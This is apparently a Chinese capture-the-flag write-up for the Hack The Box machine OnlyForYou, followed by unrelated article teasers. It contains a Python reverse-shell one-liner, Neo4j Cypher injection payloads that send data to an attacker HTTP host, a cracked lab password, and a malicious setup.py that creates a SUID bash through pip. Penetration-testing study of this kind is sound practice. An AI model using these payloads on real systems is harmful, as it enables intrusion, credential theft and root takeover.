HTB-OnlyForYou

news2025/3/14 4:17:23

HTB-OnlyForYou

  • 信息收集
  • 立足
  • john
  • john -> root

请添加图片描述

信息收集

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
Designed by BootstrapMade.

在这里插入图片描述

在这里插入图片描述

在他们的TEAM的常见问答里面发现了一个beta产品。
在这里插入图片描述

网站首页可以下载疑似源码的文件。
在这里插入图片描述
右上角还有两个功能。
在这里插入图片描述
一个是上传图片并调整大小。
在这里插入图片描述

上传了文件后会跳转到list,选择要修改的大小。
在这里插入图片描述

一个是上传图片并转换,上传的jpg会转化为png,png会转化为jpg。
在这里插入图片描述

看看源码吧。根据源码显示,存在一个装饰器/download。
在这里插入图片描述
能看到只能允许POST方式访问,并且有一个image变量并且会对这个变量的值进行判断并且进行下一步操作。如果我们输入黑名单里面的值会发生什么?首先使用burp suite抓包后发送到repeater。并且转化为POST请求。
在这里插入图片描述
输入黑名单的值后看到给了我们一个jwt。
在这里插入图片描述
解码后就能看到Hacking detected了。

在这里插入图片描述
要是我不输入黑名单的字,直接输入/etc/passwd会怎么样?

在这里插入图片描述

一个LFI出现在我们眼前。不过很遗憾不能直接读取用户的.ssh文件里的id_rsa文件。
这个网站的所使用的框架是flask。
在这里插入图片描述
通过读取nginx的配置文件获取到日志文件和虚拟主机文件。
在这里插入图片描述
在/etc/nginx/sites-enabled/default中找到了网站的绝对路径。
在这里插入图片描述
并且能够看到only4you.htb的app.py。
在这里插入图片描述
import form?这是什么?让我们去看看。

在这里插入图片描述

在这里插入图片描述
run是subprocess里的,根据官方文档所示,它的作用是执行args命令并返回CompleteProcess。
在这里插入图片描述

那这下好办了。只要我们的邮件能够通过正则表达就可以执行任意命令了。经过测试,发现可能只有admin是存在的并能通过验证的。
在这里插入图片描述
如果直接输入aster@aster.com;ping -nc 2 ip肯定是过不了正则,尝试使用burp suite来绕过检查。

在这里插入图片描述

立足

使用代码反弹

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

将其复制到burp suite中按下ctrl+u可以快速使用url对上述代码进行编码。

在这里插入图片描述

发现本地有3000、8001、7474、7687端口。

在这里插入图片描述
其中的7474端口。

在这里插入图片描述

使用chisel将端口转发过来。

在这里插入图片描述
好的,我们来到了Neo4J的友好web界面。但是需要我们登录,所以下一步就是尝试寻找Neo4J的登录凭证。

在这里插入图片描述
首先点了连接后会发现错误。根据提示看能够看到是无法简历websocket的连接。

在这里插入图片描述
使用chisel同时将7474、7687转发回来。

在这里插入图片描述
并尝试使用“无验证”的方式登录会收到”由于身份验证失败,客户端未授权“。

在这里插入图片描述
但是找了半天还是没发现什么,所以将前面发现的3000、8001一起转发过来。
3000端口。

在这里插入图片描述

8001端口。


经过测试可以使用admin:admin登录8001端口的服务。

在这里插入图片描述
右下角有几个任务。

在这里插入图片描述
经过一阵子摸索,我认为可能的路线:(1).通过8001登录知道邮件还没检查,(2).通过检查邮件获取neo4j的登陆密码账号,(3).然后通过neo4j的凭证登录Gogs。可能2和3是反过来的。试了几个常用凭证无果后尝试使用hydra跑一下。

在这里插入图片描述

感觉不太可能是暴力能跑出来的,所以考虑智取。搜索知道neo4j存在一些漏洞但是当前版本可能性较低,Gogs有两个sql注入,但是不确定,所以扫描了一下网站目录。

在这里插入图片描述
额,前面的猜测一举推翻,因为暂时没发现和邮件有关的东西。所以重心转向Neo4j和Gogs的版本漏洞上。
在这里插入图片描述
虽然无法获取Gogs的具体版本,但是还是能通过exploit-db找到一些。

在这里插入图片描述

在这里插入图片描述

但是我尝试了几次都没有成功,额。可能Gogs和Neo4j存在的问题不是我们上面所尝试的。还有一个ONLY4YOU的网站里面的雇员页有一个搜索。
在这里插入图片描述
输入john查询。
在这里插入图片描述
没有任何结果,联系上面得知可能和Neo4j数据库有关。
在这里插入图片描述
试了几个密码注入的几个payload除了个别有500就没有结果了。在Extracting Information这有了新的发现。

在这里插入图片描述
他返回了我们查询的版本信息等。

在这里插入图片描述

这说明这条路可能是正确的,下一步是跟着hacktricks的走一下。其中获取表的命令需要修改一下。
在这里插入图片描述
经过修改能够通过下面的命令查询表。

' OR 1=1 WITH 1 as a  CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.8:4444/?l='+label as l RETURN 0 as _0 //

在这里插入图片描述
表名是user。接着查询表内的key。
在这里插入图片描述
修改代码,将Flag修改为user。

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.8:4444/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

然后就能获得一个password。
在这里插入图片描述
不出意外是admin用户的密码。用hashcat跑一下即可知道。
在这里插入图片描述

所以这个user表就一个用户??我注意到nc接收到的请求是HTTP请求,所以可以试试用python -m http.server 4444来进行获取请求。

在这里插入图片描述
再次查看user的key时多了john。
在这里插入图片描述
对john的密码进行破解得到ThisIs4You
在这里插入图片描述
employee的key我在查询的时候,不知怎么的自己显示在网页上了。

在这里插入图片描述
使用john:ThisIs4You登录Gogs。

在这里插入图片描述
也就是个test。
在这里插入图片描述
尝试了一下前面搜索的Gogs的sql注入没有结果。陷入沉思。

john

万万没想到这个就是john的ssh账号。
在这里插入图片描述

john -> root

在这里插入图片描述

可以从本地的3000端口上下载软件包。3000不就是Gogs,所以思路就是生成一个恶意的软件包上传到Gogs上再通过pip3 download下载时执行。但是有一个问题,如果我们直接上传到john在Gogs的test上。
在这里插入图片描述
然后使用sudo -l的命令下载会发现404。

在这里插入图片描述

如果我们在域名前面加上身份验证,就不符合sudo -l给出的允许的命令。

在这里插入图片描述
sudo -l。
在这里插入图片描述
也就是说http://127.0.0.1:3000/是定死了的中间随意,末尾需要是tar.gz。突然发现Test有一个锁,表示私人。
在这里插入图片描述
可能我们需要新建立一个仓库就可以不用登陆就能使用。
在这里插入图片描述
在这里插入图片描述

准备恶意的软件包。

mkdir aster
cd aster
touch setup.py
mkdir src
touch src/__init__.py
echo 'print("aster")' > src/main.py

在这里插入图片描述
setup.py内容如下:

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info

def RunCommand():
        # Arbitrary code here!
        import os;os.system("cp /bin/bash /tmp/bash;chmod u+s /tmp/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "aster",
    version = "1.0",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

确保使用pip3 安装了build、setuptools。

pip3 install setuptools
pip3 install build

在恶意包的根目录(当前是aster)下生成恶意包

在这里插入图片描述
稍等片刻就可以得到生成好的包。
在这里插入图片描述
建好的包在dist里面,然后通过前面新建库后上传它。
在这里插入图片描述
要注意src要改为raw,因为raw才能够下载。
在这里插入图片描述
然后再次使用。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/646005.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【CV大模型SAM(Segment-Anything)】如何一键分割图片中所有对象?并对不同分割对象进行保存?

之前的文章【CV大模型SAM(Segment-Anything)】真是太强大了,分割一切的SAM大模型使用方法:可通过不同的提示得到想要的分割目标,中详细介绍了大模型SAM(Segment-Anything)根据不同的提示方式得到不同的目标分割结果。 …

11. 100ASK-V853-PRO开发板 RGB屏测试指南

100ASK-V853-PRO开发板 RGB屏测试指南 硬件要求: 100ASK-V853-PRO开发板七寸RGB屏 软件要求: 固件下载地址:链接:百度网盘 提取码:sp6a 固件位于资料光盘中的10_测试镜像/1.测试七寸RGB屏/v853_linux_100ask_uart0.…

echarts中国地图使用整理

一、echarts中国地图使用案例 1.准备地图数据china.json ; 需要的添加微信&#xff1a;tianma104&#xff0c;我发你 2.引入jquery&#xff0c;引入eachars 库 <script src"http://xx/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script s…

Unity入门5——Camera

一、参数面板 二、参数介绍 1. Clear Flags&#xff1a;清除背景 Skybox&#xff1a;天空盒背景&#xff08;通常用来做 3D 游戏&#xff09; Solid Color&#xff1a;使用 Background 颜色填充&#xff08;通常设置为全黑或全白&#xff0c;2D 使用&#xff09; Depth Only&am…

【ARM AMBA ATB 入门 1 - ATB 总线简介】

文章目录 背景1.1 ATB BUS1.2.1 全局信号1.2.2 数据信号1.2.3 流控信号1.2.4 Trace ID1.2.5 Buffer Flusing 背景 在 AMBA3 中&#xff0c;增加了 Advanced Trace Bus (ATB) 总线作为片上调试的总线接口&#xff0c;为 Debug 和 Trace 提供一种解决方案。第3代总线是2003年发布…

存储快速入门——【1】网络存储主要技术(NAS、SAN、SCSI、CIFS、zone)

存储快速入门——【1】网络存储主要技术 1 NAS简介&#xff08;网络&#xff09; 在20世纪80年代初&#xff0c;英国纽卡斯尔大学布赖恩.兰德尔教授 ( Brian Randell)和同事通过“纽卡斯尔连接”成功示范和开发了在整套UNIX机器上的远程文件访问。继“纽卡斯尔连接”之后&…

Springboot集成Redis常见的报错和解决方案

Springboot集成Redis后运行时常见的报错信息和其解决方案 1. io.lettuce.core.protocol.CommandHandler : null Unexpected exception during request: java.io.IOException: 远程主机强迫关闭了一个现有的连接。报错信息原因分析解决方案 2. io.netty.util.internal.OutOfDire…

Python自动化测试 史上最全的进阶教程

Python自动化测试就是把以前人为测试转化为机器测试的一种过程。自动化测试是一种比手工测试更快获得故障反馈的方法。 随着时代的变革&#xff0c;也许在未来测试这个职位的需求会越来越少甚至消失&#xff0c;但是每一个组织&#xff0c;每一个客户对软件质量的要求是永远不…

剪辑软件生成的mp4素材无法打开的修复方法

专业剪辑软件可以对视频、音频进行各种修改、美化&#xff0c;像adobe的PR等。今天我们来看一个剪辑软件生成的视频无法打开的修复案例&#xff0c;看看遇到这种情况如何处理. 故障文件:273M和1.72G两个文件 故障现象: 剪辑完成后保存到移动硬盘&#xff08;文件系统为exfat…

VALSE 2023 无锡线下参会个人总结 6月10日-1

VALSE2023无锡线下参会个人总结6月10日-1 会场照片6月10日会议日程安排大会主旨报告&#xff1a;高文&#xff1a;特征编码与数字视网膜焦李成&#xff1a;下一代深度学习的思考与若干问题陈熙霖&#xff1a;计算机视觉-从孤立到系统性方法 企业宣讲环节&#xff08;一&#xf…

邓铎:书中自有天地人

邓铎&#xff0c;一个优秀的艺术家&#xff0c;他的书法作品、理论文章自成一派&#xff0c;从书法中咀嚼出人生百味&#xff0c;大千世界&#xff0c;写下了他生命中“六十余载&#xff0c;书中天地人”的执着与坚持。 作为一名优秀的书法家&#xff0c;邓铎的艺术表达具有独…

网安笔记14 firewall

防火墙概述 由软件和硬件组成的系统&#xff0c;它处于安全的网络和不安全的网络之间&#xff0c;根据由系统管理员设置的访问控制规则&#xff0c;对数据流进行过滤 对于内部攻击以及绕过防火墙的连接却无能为力 对数据流如何处理 允许数据流通过拒绝数据流通过&#xff0…

构建工具 Vite、Webpack、Rollup对比

Webpack介绍 热更新方面&#xff1a;webpack支持HMR&#xff0c;但是webpack需要全部重新编译并更新&#xff0c;效率较低 tree-shaking&#xff1a;webpack2开始支持且消除效果不好&#xff0c;但是webpack5有更好的tree-shaking&#xff08;去除未使用代码&#xff09; 分包…

0基础学习VR全景平台篇第43篇:编辑器底部菜单-隐藏场景

大家好&#xff0c;欢迎观看蛙色VR官方系列——后台使用课程&#xff01; 本期为大家带来蛙色VR平台&#xff0c;底部菜单—隐藏场景功能操作。 功能位置示意 一、本功能将用在哪里&#xff1f; 隐藏场景功能&#xff0c;指将选中的场景隐藏&#xff0c;浏览页将不显示隐藏的…

最详细,从0-1性能测试步骤详细,测试老鸟经验总结...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 性能测试流程 性…

sandfly-entropyscan:一款功能强大的恶意程序熵扫描工具

关于sandfly-entropyscan sandfly-entropyscan是一款功能强大的熵扫描工具&#xff0c;该工具可以用于检测与恶意软件相关的打包文件或加密二进制文件。除此之外&#xff0c;该工具还支持查找恶意文件和Linux进程相关的安全信息&#xff0c;并提供带有加密哈希的输出结果。 s…

cesium学习(下载,官方案例)

下载cesium源码 可以从官网直接下载&#xff0c;官网下载的是编译好的。链接: https://www.cesium.com/downloads/从github下载源码&#xff0c;方便我们本地调试学习(本文采用这种方式)。链接: https://github.com/CesiumGS/cesium 运行项目 安装依赖 npm i运行 npm run …

八股|ThreadLocal的内存泄露

ThreadLocal是个好用的工具类&#xff0c;但是使用不好是会导致内存泄露的。 内存泄露&#xff1a;之前开辟使用的内存空间&#xff0c;在使用完毕后未释放&#xff0c;结果导致一直占据该内存单元&#xff0c;无法被gc回收&#xff0c;导致该内存单元后续无法被使用&#xff0…

优思学院|质量管理六大思维陷阱【四】:抽样检查是最经济又能保证质量的方法吗?

在质量控制的过程中&#xff0c;一个常见的误解是认为抽样检查是最经济又能保证质量的方法。许多人认为进行百分之百的全数检查既浪费人力又时间不够。因此&#xff0c;他们倾向于采用抽样检查的方法&#xff0c;认为这样既符合经济成本&#xff0c;又能确保产品质量的水准。 …

Java中的死锁和Lock锁

6.死锁 1.死锁的理解&#xff1a; 不同的线程分别占用对方需要的同步资源不放弃&#xff0c;都在等待对方放弃自己需要的同步资源&#xff0c;就形成了线程的死锁 2.说明&#xff1a; 1出现死锁后&#xff0c;不会出现异常&#xff0c;不会出现提示&#xff0c;只是锁的线程…